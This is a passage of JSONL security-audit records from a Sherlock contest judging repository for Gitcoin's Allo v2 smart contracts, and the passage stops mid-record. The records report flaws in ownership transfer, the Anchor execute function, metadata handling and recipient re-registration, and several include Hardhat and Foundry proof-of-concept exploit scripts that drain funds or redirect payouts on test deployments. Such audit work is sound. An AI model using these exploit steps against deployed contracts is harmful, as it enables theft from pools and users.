[_distributeSingle](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L774-L799), a function that only validates the distribution by checking if index, recipientId, recipientAddress, amount, merkleProof of the distribution make up for a leaf at an already created distribution merkle tree. It is missing the obligatory allocation requirement by not verifying if the receiver is truly an allocation receiver.\n\nThis means that after registering a recipient, the PoolManager can bypass the allocation phase and directly proceed to distribute funds to the registered recipient. This doesn't seem intentional as the strategy does implement the [_allocate](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L640-L665) function.\n\n## Impact\n\nBypassing Allocation: The lack of strict checks means that there's no assurance that funds are properly accounted for or reserved for recipients before distribution. This might lead to potential misuse where more funds than intended or allocated are distributed.\nAudit Trail: Skipping the allocation step disrupts the audit trail. Typically, allocation acts as a commitment or reservation of funds, which can then be audited or verified. Without this, it becomes difficult to track and verify the legitimacy of fund distributions.\n\n## Code Snippet\n\n[_distribute](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L609-L633)\n[_distributeSingle](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L774-L799)\n [_allocate](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L640-L665) \n\n## Tool used\n\nManual Review\n\n## Recommendation\nState Management: Consider using state variables or mappings to track allocations. This will ensure that distributions do not exceed allocations and will also provide an audit trail. Mapping-based checks should be introduced to _distributeSingle in order to ensure the allocation flow is not skipped.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/393.md"}} +{"title":"Unbounded profile ownership transfers and zero-address assignment scenarios in `updateProfilePendingOwner` and `acceptProfileOwnership` may lead to irretrievable locks and malicious takeovers","severity":"info","body":"Shiny Neon Snail\n\nhigh\n\n# Unbounded profile ownership transfers and zero-address assignment scenarios in `updateProfilePendingOwner` and `acceptProfileOwnership` may lead to irretrievable locks and malicious takeovers\n\nThe `Registry` CA has been identified to have actual vulnerabilities in its profile ownership management system. Not only does it allow the unrestricted transfer of profile ownership to possibly malicious addresses, but it also does not validate if the profile ID exists when attempting to transfer the ownership. This can lead to a series of unauthorized activities, including the locking of profiles or takeover by unintended entities.\n\n## Vulnerability Detail\n\n> ### 1. Unrestricted profile ownership transfers:\n\nIn the `Registry`, the `updateProfilePendingOwner` function allows a current profile owner to nominate a new owner, referred to as a \"pending owner\". However, this function lacks appropriate constraints:\n\n- **Zero address assignment**: **The function allows the assignment of the zero address (`0x0000000000000000000000000000000000000000`) as the pending owner, which can result in profiles becoming irrevocably inaccessible if the ownership transfer is subsequently accepted**.\n\n- **Nonexistent profile transfers**: There's an absence of a check to confirm if the given `_profileId` actually exists in the contract. Thus, an attempt can be made to set a pending owner for an invalid profile, though the practical implications might be negligible.\n\n> ### 2. Ownership acceptance without verification:\n\nThe `acceptProfileOwnership` function allows a pending owner to assume ownership of a profile. However, this function has several vulnerabilities:\n\n- **Profile existence validation**: The function doesn't ensure that the given `_profileId` maps to a valid profile. While an attacker attempting to take ownership of a nonexistent profile might fail due to an absence of a corresponding pending owner, it remains a possible vector for disrupting contract state (even its impact is way more limited than `newOwner(0)`).\n\n- **`newOwner(0)` is unchecked**: A crucial omission is the absence of a check to confirm that the `newOwner` (derived from the pending owner mapping) isn't the zero address. Given the aforementioned ability of the `updateProfilePendingOwner` function to assign the zero address as a pending owner, profiles can be permanently lost.\n\n> ### 3. Profile creation (informational.):\n\nThe `createProfile` function includes checks for the zero address during profile creation. It ensures that neither the profile `_owner` nor the `_members` are set to the zero address. **However, the vulnerabilities in the ownership transfer functions mean that these checks are insufficient in securing profile ownership throughout the contract's lifecycle**.\n\n## Impact\n\n1. A user can mistakenly or maliciously set a zero address as a pending owner, leading to profiles being irretrievably locked.\n \n2. An attacker may trick a user into setting their malicious address as the pending owner, subsequently taking over the profile.\n \n3. Due to the absence of profile existence checks, an attacker could eventually exploit the logic to cause unforeseen changes or disruptions in the contract's state.\n\n## Code Snippet\n\n> 1. **`createProfile`**:\n\n- This function checks for the zero address for the `_owner` and `_members`, **but this check is only at the profile creation stage**. \n- The concern **isn't with the `createProfile` function but with the subsequent transfer of ownership**. Therefore, **the zero address check here does not invalidate the identified vulnerabilities in profile ownership management**.\n\n```solidity\n function createProfile(\n uint256 _nonce,\n string memory _name,\n Metadata memory _metadata,\n address _owner,\n address[] memory _members\n ) external returns (bytes32) {\n // Generate a profile ID using a nonce and the msg.sender\n bytes32 profileId = _generateProfileId(_nonce);\n\n // Make sure the nonce is available\n if (profilesById[profileId].anchor != address(0)) revert NONCE_NOT_AVAILABLE();\n\n // Make sure the owner is not the zero address\n if (_owner == address(0)) revert ZERO_ADDRESS();\n\n // Create a new Profile instance, also generates the anchor address\n Profile memory profile = Profile({\n id: profileId,\n nonce: _nonce,\n name: _name,\n metadata: _metadata,\n owner: _owner,\n anchor: _generateAnchor(profileId, _name)\n });\n\n profilesById[profileId] = profile;\n anchorToProfileId[profile.anchor] = profileId;\n\n // Assign roles for the profile members\n uint256 memberLength = _members.length;\n for (uint256 i; i < memberLength;) {\n address member = _members[i];\n\n // Will revert if any of the addresses are a zero address\n if (member == address(0)) revert ZERO_ADDRESS();\n\n // Grant the role to the member and emit the event for each member\n _grantRole(profileId, member);\n unchecked {\n ++i;\n }\n }\n\n // Emit the event that the profile was created\n emit ProfileCreated(profileId, profile.nonce, profile.name, profile.metadata, profile.owner, profile.anchor);\n\n // Return the profile ID\n return profileId;\n }\n```\n\n[Registry.sol#L119-L168](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L119-L168)\n\n> 2. **`updateProfilePendingOwner`**:\n\n- As mentioned, **this function allows the current profile owner to set any address, including the zero address**, as a possible new owner without any checks. This is a significant vulnerability since a profile can be accidentally or maliciously rendered inaccessible by setting its pending owner to the zero address.\n- Moreover, **there's no check to ensure that the `_profileId` exists, which means it can also be exploited to set a pending owner for a non-existent profile, though the real-world impact of this might be limited**.\n\n```solidity\nfunction updateProfilePendingOwner(bytes32 _profileId, address _pendingOwner)\n external\n onlyProfileOwner(_profileId)\n {\n profileIdToPendingOwner[_profileId] = _pendingOwner;\n }\n\nfunction acceptProfileOwnership(bytes32 _profileId) external {\n Profile storage profile = profilesById[_profileId];\n address newOwner = profileIdToPendingOwner[_profileId];\n if (msg.sender != newOwner) revert NOT_PENDING_OWNER();\n profile.owner = newOwner;\n delete profileIdToPendingOwner[_profileId];\n }\n```\n\n[Registry.sol#L248-L257](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L248-L257)\n\n> 3. **`acceptProfileOwnership`**:\n\n- This function lacks checks for the existence of `_profileId`. An attacker could try to accept ownership of a non-existent profile, but the function would fail because it would not find a corresponding pending owner.\n- More crucially, **the function does not check if the `newOwner` is the zero address. Since the `updateProfilePendingOwner` function allows the pending owner to be set to the zero address, the combined effect is that a profile can be permanently locked**.\n\n```solidity\n function acceptProfileOwnership(bytes32 _profileId) external {\n // Get the profile from the mapping\n Profile storage profile = profilesById[_profileId];\n\n // Get the pending owner from the mapping that was set when the owner was updated\n address newOwner = profileIdToPendingOwner[_profileId];\n\n // Revert if the 'msg.sender' is not the pending owner\n if (msg.sender != newOwner) revert NOT_PENDING_OWNER();\n\n // Set the new owner and delete the pending owner from the mapping\n profile.owner = newOwner;\n delete profileIdToPendingOwner[_profileId];\n\n // Emit the event that the owner was accepted and updated\n emit ProfileOwnerUpdated(_profileId, profile.owner);\n }\n```\n\n[Registry.sol#L262-L278](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L262-L278)\n\n## Tool used\n\nManual review.\n\n## Recommendation\n\n1. Enhance the `updateProfilePendingOwner` function by adding necessary validations to ensure that `_pendingOwner` is not the zero address, nor any possibly malicious addresses.\n \n2. In the `acceptProfileOwnership` function:\n - Ensure that `_profileId` exists.\n - Ascertain that the `newOwner` isn't the zero address.\n\n3. Think about integrating events or alerts to notify profile owners about any attempts or successful transitions in ownership.\n\n1. **Modifying `updateProfilePendingOwner`**:\n \n```solidity\nfunction updateProfilePendingOwner(bytes32 _profileId, address _pendingOwner)\n external\n onlyProfileOwner(_profileId)\n{\n // Ensure that _pendingOwner is not the zero address\n if (_pendingOwner == address(0)) revert ZERO_ADDRESS();\n\n // Additional checks can be added here for other malicious addresses\n\n profileIdToPendingOwner[_profileId] = _pendingOwner;\n\n emit ProfilePendingOwnerUpdated(_profileId, _pendingOwner);\n}\n```\n\n2. **Modifying `acceptProfileOwnership`**:\n\n```solidity\nfunction acceptProfileOwnership(bytes32 _profileId) external {\n // Ensure that the _profileId exists\n if (profilesById[_profileId].anchor == address(0)) revert INVALID_PROFILE_ID();\n\n Profile storage profile = profilesById[_profileId];\n address newOwner = profileIdToPendingOwner[_profileId];\n\n // Ensure that newOwner is not the zero address\n if (newOwner == address(0)) revert ZERO_ADDRESS();\n\n if (msg.sender != newOwner) revert NOT_PENDING_OWNER();\n\n profile.owner = newOwner;\n delete profileIdToPendingOwner[_profileId];\n\n emit ProfileOwnerUpdated(_profileId, profile.owner);\n}\n```\n\n3. **Adding events**:\n\nThough the contract already has events like `ProfilePendingOwnerUpdated` and `ProfileOwnerUpdated`, you might consider adding more events that capture every significant state change, such as:\n\n```solidity\nevent AttemptedOwnershipChange(bytes32 indexed _profileId, address indexed _attemptedBy, address _intendedPendingOwner);\n```\n\nThis event can be emitted right before the actual state change in `updateProfilePendingOwner` to notify whenever someone tries to change ownership, regardless of success.\n\nBy implementing this logic, should be able to prevent the issue.\n\n## POC\n\n1. Deploy the `Registry` contract.\n2. Initiate a profile via the `createProfile` function.\n3. Use the `updateProfilePendingOwner` function to nominate a zero address (or another address) as the pending owner.\n4. Accept the ownership transfer from the nominated address using `acceptProfileOwnership`.\n\n> Get a script to validate the intended behavior, for instance:\n\n```javascript\nconst { ethers } = require(\"hardhat\");\n\nasync function main() {\n const [deployer, user, attacker] = await ethers.getSigners();\n const ZERO_ADDRESS = \"0x0000000000000000000000000000000000000000\";\n\n // Deploy Registry contract\n const Registry = await ethers.getContractFactory(\"Registry\");\n const registry = await Registry.deploy();\n await registry.deployed();\n\n // Print out the deployed addresses\n console.log(\"Registry deployed to:\", registry.address);\n console.log(\"Deployer Address:\", deployer.address);\n console.log(\"User Address:\", user.address);\n console.log(\"Attacker Address:\", attacker.address);\n\n // User creates a profile\n const nonce = 1;\n const name = \"User's Profile\";\n const metadata = {}; // Replace with appropriate metadata if needed\n const createTx = await registry.connect(user).createProfile(nonce, name, metadata, user.address, []);\n const createReceipt = await createTx.wait();\n const profileId = createReceipt.events.find(e => e.event === \"ProfileCreated\").args.id;\n\n // User sets zero address as the pending owner\n await registry.connect(user).updateProfilePendingOwner(profileId, ZERO_ADDRESS);\n\n // Zero address (or attacker) accepts the profile ownership\n try {\n await registry.connect(attacker).acceptProfileOwnership(profileId); // This should fail due to the ZERO_ADDRESS validation, instead, it will succeed\n console.log(\"Exploit succeeded!\");\n } catch (e) {\n console.log(\"Exploit failed:\", e.message);\n }\n}\n\nmain()\n .then(() => process.exit(0))\n .catch(error => {\n console.error(error);\n process.exit(1);\n });\n```\n\n> To run the PoC:\n\n1. Save the above script in a new file, e.g., `exploit.js` in the root of your env directory.\n2. Run it using `npx hardhat run exploit.js`.\n\nThis script deploys the `Registry` CA, creates a profile, sets the (0) as the pending owner, and then attempts to take ownership from the zero address. As we previously discussed, **setting the zero address should be urgently blocked to prevent accidental or malicious profile lockouts**.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/392.md"}} +{"title":"metadata is not record","severity":"info","body":"Original Navy Donkey\n\nmedium\n\n# metadata is not record\nWhen metadataRequired is true, users need to provide metadata, but the contract only checks whether the metadata is empty and does not record the metadata that the user provides. And even not emit the metadata.\n\n## Vulnerability Detail\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L314#L380\n\n## Impact\nManager can't check the user provide metadata\n\n## Code Snippet\n```solidity\n\n // Check if the metadata is required and if it is, check if it is valid, otherwise revert\n if (metadataRequired && (bytes(metadata.pointer).length == 0 || metadata.protocol == 0)) {\n revert INVALID_METADATA(); //@audit <------------------- only check whether empty.\n }\n\n if (proposalBid > maxBid) {\n // If the proposal bid is greater than the max bid this will revert\n revert EXCEEDING_MAX_BID();\n } else if (proposalBid == 0) {\n // If the proposal bid is 0, set it to the max bid\n proposalBid = maxBid;\n }\n\n // If the recipient address is the zero address this will revert\n if (recipientAddress == address(0)) revert RECIPIENT_ERROR(recipientId);\n\n // Get the recipient\n Recipient storage recipient = _recipients[recipientId];\n\n if (recipient.recipientStatus == Status.None) {\n // If the recipient status is 'None' add the recipient to the '_recipientIds' array\n _recipientIds.push(recipientId);\n emit Registered(recipientId, _data, _sender);\n } else {\n emit UpdatedRegistration(recipientId, _data, _sender);\n }\n \n\n //@audit <-------------------not record metadata.\n // update the recipients data\n recipient.recipientAddress = recipientAddress;\n recipient.useRegistryAnchor = isUsingRegistryAnchor ? true : recipient.useRegistryAnchor;\n recipient.proposalBid = proposalBid;\n recipient.recipientStatus = Status.Pending;\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nwe need to add metadata to Recipient struct or at least emit a even to log the metadata.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/390.md"}} +{"title":"Unrestricted arbitrary calls via `execute` function opens up risk of exploitation pathways for profile owners","severity":"info","body":"Shiny Neon Snail\n\nhigh\n\n# Unrestricted arbitrary calls via `execute` function opens up risk of exploitation pathways for profile owners\n\nThe `Anchor` contract contains an `execute` function that allows the owner of a profile to make arbitrary calls to any address. This design can lead to unexpected consequences or abuses if not handled with caution.\n\nThe `contract is equipped with a function named `execute`. Here's a breakdown:\n\n* **Registry interaction**: The `Anchor` contract communicates with the `Registry` contract to validate profile ownership. \n\n* **Profile ownership**: Only the owner of a profile can invoke the `execute` function. The function checks ownership through the `registry.isOwnerOfProfile()` method.\n\n* **Target address**: The function ensures the `_target` isn't the zero address.\n\n* **Arbitrary calls**: Using the Solidity `call` method, it sends `_value` amount of ether and `_data` to the `_target`. If this call is unsuccessful, it reverts the transaction.\n\n## Vulnerability Detail\n\nThe `execute` function in the `Anchor` contract, as defined below:\n\n```solidity\nfunction execute(address _target, uint256 _value, bytes memory _data) external returns (bytes memory) {\n if (!registry.isOwnerOfProfile(profileId, msg.sender)) revert UNAUTHORIZED();\n if (_target == address(0)) revert CALL_FAILED();\n (bool success, bytes memory data) = _target.call{value: _value}(_data);\n if (!success) revert CALL_FAILED();\n return data;\n}\n```\n\nThis function allows an arbitrary call to any address `_target` with any data `_data` and any ETH value `_value`, as long as the caller is the owner of the profile. There are possible risks associated with allowing such arbitrary calls, especially if the target address is a contract.\n\n> The `Registry` contract, on the other hand, has mechanisms like `updateProfilePendingOwner` and `acceptProfileOwnership` to update the profile owner. Worth to note that these methods don't invalidate the vulnerability but simply represent a legitimate way of transferring ownership. The key point is that the execute function is dangerous when the attacker becomes the `isOwnerOfProfile`, **no matter how that ownership was acquired**, though as long as an attacker become an owner of any profile (by whatever means).\n\n## Impact\n\nAn attacker, if he/she becomes the owner of a profile, could:\n\n1. Interact with any contract with the privileges of the Anchor contract.\n2. Drain funds from any vulnerable contract.\n3. Trigger unwanted side effects in other contracts.\n4. Interact with contracts in unexpected ways which the developers might not have foreseen.\n\n- The attacker becomes the owner of a profile. How they do it is not under scrutiny hereā€”it could be through normal functionality of the Registry contract (`createProfile)`.\n\n- Once they are the owner, they are allowed to call execute with arbitrary `_target` and `_data`, using the privileges of the Anchor contract. This is the point where the vulnerability becomes exploitable.\n\n## Code Snippet\n\n```solidity\nfunction execute(address _target, uint256 _value, bytes memory _data) external returns (bytes memory) {\n if (!registry.isOwnerOfProfile(profileId, msg.sender)) revert UNAUTHORIZED();\n if (_target == address(0)) revert CALL_FAILED();\n (bool success, bytes memory data) = _target.call{value: _value}(_data);\n if (!success) revert CALL_FAILED();\n return data;\n}\n```\n\n[execute-Anchor.sol#L70-L84](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Anchor.sol#L70-L84)\n\n[createProfile-Registry.sol#L119-L168](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L119-L168)\n\n## Tool used\n\nManual review.\n\n## Recommendation\n\n1. **Restrict arbitrary calls**: Instead of enabling any arbitrary function calls via the `execute` function, it's safer to use a whitelist mechanism or a proxy design that curbs unintended interactions.\n2. **Enhance access control**: Incorporate advanced access controls like multi-signature requirements, time-locked actions, or multifactor authentication.\n3. **Rigorous `_target` testing**: Before considering a contract as a pending `_target` for the `execute` function, ensure it undergoes thorough testing and code review.\n\n> For an example modification to the `execute` function using a whitelist:\n\n```solidity\n// ... other parts of the Anchor contract ...\n\naddress[] public whitelistedAddresses; // Addresses that are allowed to be called through execute\n\nfunction setWhitelistedAddress(address[] memory _addresses) external onlyOwner {\n whitelistedAddresses = _addresses;\n}\n\nfunction isWhitelisted(address _address) public view returns (bool) {\n for (uint i = 0; i < whitelistedAddresses.length; i++) {\n if (whitelistedAddresses[i] == _address) {\n return true;\n }\n }\n return false;\n}\n\nfunction execute(address _target, uint256 _value, bytes memory _data) external returns (bytes memory) {\n\n if (!registry.isOwnerOfProfile(profileId, msg.sender)) revert UNAUTHORIZED();\n if (_target == address(0) || !isWhitelisted(_target)) revert CALL_FAILED();\n\n (bool success, bytes memory data) = _target.call{value: _value}(_data);\n if (!success) revert CALL_FAILED();\n\n return data;\n}\n```\n\nIn the updated code, we've added a whitelist mechanism. Only addresses that are explicitly whitelisted can be called through the `execute` function. This minimizes the possible attack surface.\n\n## POC\n\nThe primary concern here is that any profile owner can arbitrarily interact with other contracts. This is especially alarming if the contract holds funds or has critical logic operations.\n\n1. **Setup**: Deploy the `Registry` and `Anchor` contracts.\n2. **Become an owner**: Use the `createProfile` function of the `Registry` to become an owner.\n3. **Exploit**: Utilize the `execute` function of the `Anchor` contract to make an arbitrary call, effectively altering its state or misappropriating its funds.\n\nFor instance, consider a vulnerable CA named `VulnerableContract` which has a fund storage mechanism and a function to alter its state.\n\n```solidity\ncontract VulnerableContract {\n uint256 public data;\n uint256 public funds;\n\n function setData(uint256 _data) external {\n data = _data;\n }\n\n function withdrawFunds(uint256 amount) external {\n require(funds >= amount, \"Not enough funds\");\n funds -= amount;\n payable(msg.sender).transfer(amount);\n }\n\n receive() external payable {\n funds += msg.value;\n }\n}\n```\n\nAn attacker, after owning a profile, can target this `VulnerableContract` using the `execute` function and can either change the `data` state or even worse, withdraw funds without having any direct interaction with the `VulnerableContract`.\n\n> Consequently, for the attacker to exploit this:\n\n```javascript\nconst { ethers, waffle } = require(\"hardhat\");\nconst { expect } = require(\"chai\");\n\ndescribe(\"Exploit\", function () {\n let owner, attacker;\n let registry, anchor, vulnerable;\n let profileId;\n\n before(async function () {\n [owner, attacker] = await ethers.getSigners();\n\n // 1. Deploy Registry\n const Registry = await ethers.getContractFactory(\"Registry\");\n registry = await Registry.deploy();\n await registry.deployed();\n await registry.initialize(owner.address);\n\n // 2. Deploy Anchor using the deployed Registry address\n // Note: Assuming Anchor accepts a registry address as a constructor parameter\n const Anchor = await ethers.getContractFactory(\"Anchor\");\n anchor = await Anchor.deploy(registry.address);\n\n // 3. Deploy VulnerableContract and deposit some funds\n const VulnerableContract = await ethers.getContractFactory(\"VulnerableContract\");\n vulnerable = await VulnerableContract.deploy();\n await vulnerable.deployed();\n await owner.sendTransaction({ to: vulnerable.address, value: ethers.utils.parseEther(\"1\") }); // Depositing 1 ether\n });\n\n it(\"Create profile and become owner\", async function () {\n const tx = await registry.createProfile(1, \"Attacker\", { key: \"value\" }, attacker.address, []);\n await tx.wait();\n\n profileId = await registry.getProfileByAnchor(tx.anchor); // tx.anchor is the profileId\n expect(profileId.owner).to.equal(attacker.address);\n });\n\n it(\"Exploit VulnerableContract to withdraw funds\", async function () {\n const withdrawalAmount = ethers.utils.parseEther(\"1\"); // Attempting to withdraw all funds\n const callData = vulnerable.interface.encodeFunctionData(\"withdrawFunds\", [withdrawalAmount]);\n\n await anchor.connect(attacker).execute(vulnerable.address, 0, callData);\n\n expect(await vulnerable.funds()).to.equal(0); // The funds in the vulnerable contract should now be 0\n });\n});\n```\n\nThis PoC demonstrates how the `execute` function can be an actual risk. By allowing arbitrary calls with the privileges of the `Anchor` contract, it can be eventually abused, leading to loss of funds or alteration of critical state variables in other CAs.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/388.md"}} +{"title":"Malicious members can steal pool tokens via allocated RecipientId","severity":"info","body":"Deep Grape Narwhal\n\nhigh\n\n# Malicious members can steal pool tokens via allocated RecipientId\nMalicious profile members can call RegisterRecipient() with an already allocated RecipientId to tamper RecipientAddress , and then steal the token.\n\n## Vulnerability Detail\n1 .profile_owner register Recipient with RegistryAnchor(eg: profile1_anchor()) to generate RecipientId\n2. profile1_member2ļ¼ˆMalicious memberļ¼‰ monitor recipient statusļ¼Œchecks if recipientStatus==Status.Acceptedļ¼Œand allocate voice credits to a recipient\n3.profile1_member2ļ¼ˆMalicious memberļ¼‰ Register recipient using the RecipientId(profile1_anchor()) that has been allocated\n4.the strategy manager initiates the payout distribution.\n\n## Proof of Concept \nAdd the following test contract QVBaseStrategyPoc.t.sol to the test/foundry/strategies/\n\nforge test -vv --match-path test/foundry/strategies/QVBaseStrategyPoc.t.sol \n\n QVBaseStrategyPoc.t.sol \n```solidity\npragma solidity ^0.8.19;\n\nimport \"forge-std/Test.sol\";\n\n// Interfaces\nimport {IStrategy} from \"../../../contracts/core/interfaces/IStrategy.sol\";\n// Core contracts\nimport {BaseStrategy} from \"../../../contracts/strategies/BaseStrategy.sol\";\nimport {QVBaseStrategy} from \"../../../contracts/strategies/qv-base/QVBaseStrategy.sol\";\n// Internal libraries\nimport {Errors} from \"../../../contracts/core/libraries/Errors.sol\";\nimport {Metadata} from \"../../../contracts/core/libraries/Metadata.sol\";\n\n// Test libraries\nimport {AlloSetup} from \"../shared/AlloSetup.sol\";\nimport {RegistrySetupFull} from \"../shared/RegistrySetup.sol\";\nimport {StrategySetup} from \"../shared/StrategySetup.sol\";\nimport {EventSetup} from \"../shared/EventSetup.sol\";\n// Mocks\nimport {QVBaseStrategyTestMock} from \"../../utils/QVBaseStrategyTestMock.sol\";\nimport {MockERC20} from \"../../utils/MockERC20.sol\";\n\n/// @title QVBaseStrategyTest\n/// @notice Test suite for QVBaseStrategy\n/// @author allo-team\ncontract QVBaseStrategyTest is Test, AlloSetup, RegistrySetupFull, StrategySetup, EventSetup, Errors {\n struct Recipient {\n bool useRegistryAnchor;\n address recipientAddress;\n Metadata metadata;\n QVBaseStrategy.Status Status;\n uint256 totalVotes;\n }\n\n struct Allocator {\n uint256 voiceCredits;\n mapping(address => uint256) voiceCreditsCastToRecipient;\n mapping(address => uint256) votesCastToRecipient;\n }\n\n bool public registryGating;\n bool public metadataRequired;\n bool public useRegistryAnchor;\n\n uint256 public totalRecipientVotes;\n\n uint64 public registrationStartTime;\n uint64 public registrationEndTime;\n uint64 public allocationStartTime;\n uint64 public allocationEndTime;\n\n address internal _strategy;\n MockERC20 public token;\n Metadata public poolMetadata;\n\n address[] public allowedTokens;\n\n uint256 public poolId;\n\n event Reviewed(address indexed recipientId, QVBaseStrategy.Status status, address sender);\n event RecipientStatusUpdated(address indexed recipientId, IStrategy.Status status, address sender);\n event PoolCreated(\n uint256 indexed poolId,\n bytes32 indexed profileId,\n IStrategy strategy,\n MockERC20 token,\n uint256 amount,\n Metadata metadata\n );\n event Allocated(address indexed recipientId, uint256 votes, address allocator);\n\n function setUp() public virtual {\n __RegistrySetupFull();\n __AlloSetup(address(registry()));\n\n poolId = 1;\n \n token = new MockERC20();\n \n\n registrationStartTime = uint64(today());\n registrationEndTime = uint64(nextWeek());\n allocationStartTime = uint64(weekAfterNext());\n allocationEndTime = uint64(oneMonthFromNow());\n\n registryGating = false;//\n metadataRequired = true;\n useRegistryAnchor = false;\n\n poolMetadata = Metadata({protocol: 1, pointer: \"PoolMetadata\"});\n\n _strategy = _createStrategy();//QVBaseStrategy\n _initialize();\n }\n\n function _createStrategy() internal virtual returns (address) {\n return address(new QVBaseStrategyTestMock(address(allo()), \"MockStrategy\"));\n }\n\n function _initialize() internal virtual {\n vm.startPrank(pool_admin());\n _createPoolWithCustomStrategy();\n vm.stopPrank();\n }\n\n function _createPoolWithCustomStrategy() internal virtual {\n \n poolId = allo().createPoolWithCustomStrategy(\n poolProfile_id(),\n _strategy,\n abi.encode(\n registryGating,\n metadataRequired,\n 2,\n registrationStartTime,\n registrationEndTime,\n allocationStartTime,\n allocationEndTime\n ),\n address(token),\n 0 ether, // TODO: setup tests for failed transfers when a value is passed here.\n poolMetadata,\n pool_managers()\n );\n }\n\n //1. profile1_owner register recipient with RegistryAnchor \n function __m_register_recipient() internal returns(address recipientId){\n vm.warp(registrationStartTime + 10);\n bytes memory data = __generateRecipientWithId(profile1_anchor());\n \n vm.startPrank(address(allo()));\n //profile1_owner == msg.sender\n recipientId = qvStrategy().registerRecipient(data, profile1_owner());\n QVBaseStrategy.Recipient memory recipient = qvStrategy().getRecipient(recipientId);\n console.log(\"profile1_owner recipientAddress:\",recipient.recipientAddress);\n console.log(\"profile1_owner recipientId: \", recipientId);\n return recipientId;\n }\n\n //2. review Recipients status\n function __m_register_accept_recipient() internal returns(address){\n address recipientId = __m_register_recipient();\n //accept\n address[] memory recipientIds = new address[](1);\n recipientIds[0] = recipientId;\n IStrategy.Status[] memory Statuses = new IStrategy.Status[](1);\n Statuses[0] = IStrategy.Status.Accepted;\n vm.startPrank(pool_admin());\n qvStrategy().reviewRecipients(recipientIds, Statuses);\n vm.stopPrank();\n vm.startPrank(pool_manager1());\n qvStrategy().reviewRecipients(recipientIds, Statuses);\n vm.stopPrank();\n return recipientId;\n\n }\n //3.Allocate voice credits to a recipient\n function __m_register_accept_allocate_recipient() internal returns(address){\n address recipientId = __m_register_accept_recipient();\n vm.warp(registrationEndTime + 10);\n\n address[] memory recipientIds = new address[](1);\n recipientIds[0] = recipientId;\n\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 9.9e17; // fund amount: 1e18 - fee: 1e17 = 9.9e17\n\n token.mint(pool_manager1(), 100e18);\n // set the allowance for the transfer\n vm.prank(pool_manager1());\n token.approve(address(allo()), 999999999e18);\n\n // fund pool\n vm.prank(pool_manager1());\n allo().fundPool(poolId, 1e18);\n vm.warp(allocationStartTime + 10);\n bytes memory allocation = __generateAllocation(recipientId, 4);\n vm.prank(address(allo()));\n qvStrategy().allocate(allocation, randomAddress());\n vm.warp(allocationEndTime + 10);\n\n return recipientId;\n }\n\n \n //4.profile1_member2ļ¼ˆMalicious membersļ¼‰ Register recipient using the RecipientId(eg:profile1_anchor()) that has been allocated\n function __m_register_recipient_with_same_recipientId() internal returns(address samerecipientId){\n __m_register_accept_allocate_recipient();\n vm.warp(registrationStartTime + 10);\n \n Metadata memory metadata = Metadata({protocol: 1, pointer: \"metadata\"});\n //in case of registryGating =false \n //when using registry anchor, the ID of the recipient must be a profile member\n //so return abi.encode(malicious(),recipientId, metadata);\n bytes memory data = abi.encode(malicious(),profile1_anchor(), metadata);\n //'recipientAddress has been changed\n vm.startPrank(address(allo()));\n //profile1_member2ļ¼ˆMalicious membersļ¼‰ == msg.sender\n samerecipientId = qvStrategy().registerRecipient(data, profile1_member2());\n QVBaseStrategy.Recipient memory recipient = qvStrategy().getRecipient(samerecipientId);\n console.log(\"Malicious member recipientAddress: \",recipient.recipientAddress);\n console.log(\"Malicious member recipientId: \", samerecipientId);\n return samerecipientId;\n \n }\n\n //Payout Distribution\n function test_m_distribute() public {\n address recipientId =__m_register_recipient_with_same_recipientId();\n vm.warp(allocationEndTime + 10);\n address[] memory recipients = new address[](1);\n recipients[0] = recipientId;\n assertEq(token.balanceOf(address(qvStrategy())), 9.9e17);\n vm.startPrank(address(allo()));\n \n qvStrategy().distribute(recipients, \"\", pool_admin());\n\n assertEq(token.balanceOf(malicious()), 9.9e17);\n console.log(\"After distribute:\");\n console.log(\"profile1_owner recipientAddress balance:\",token.balanceOf(recipient1()));\n console.log(\"Malicious member recipientAddress balance:\",token.balanceOf(malicious()));\n\n \n }\n //ļ¼ˆMalicious members recipientAddressļ¼‰\n function malicious() public returns (address) {\n return 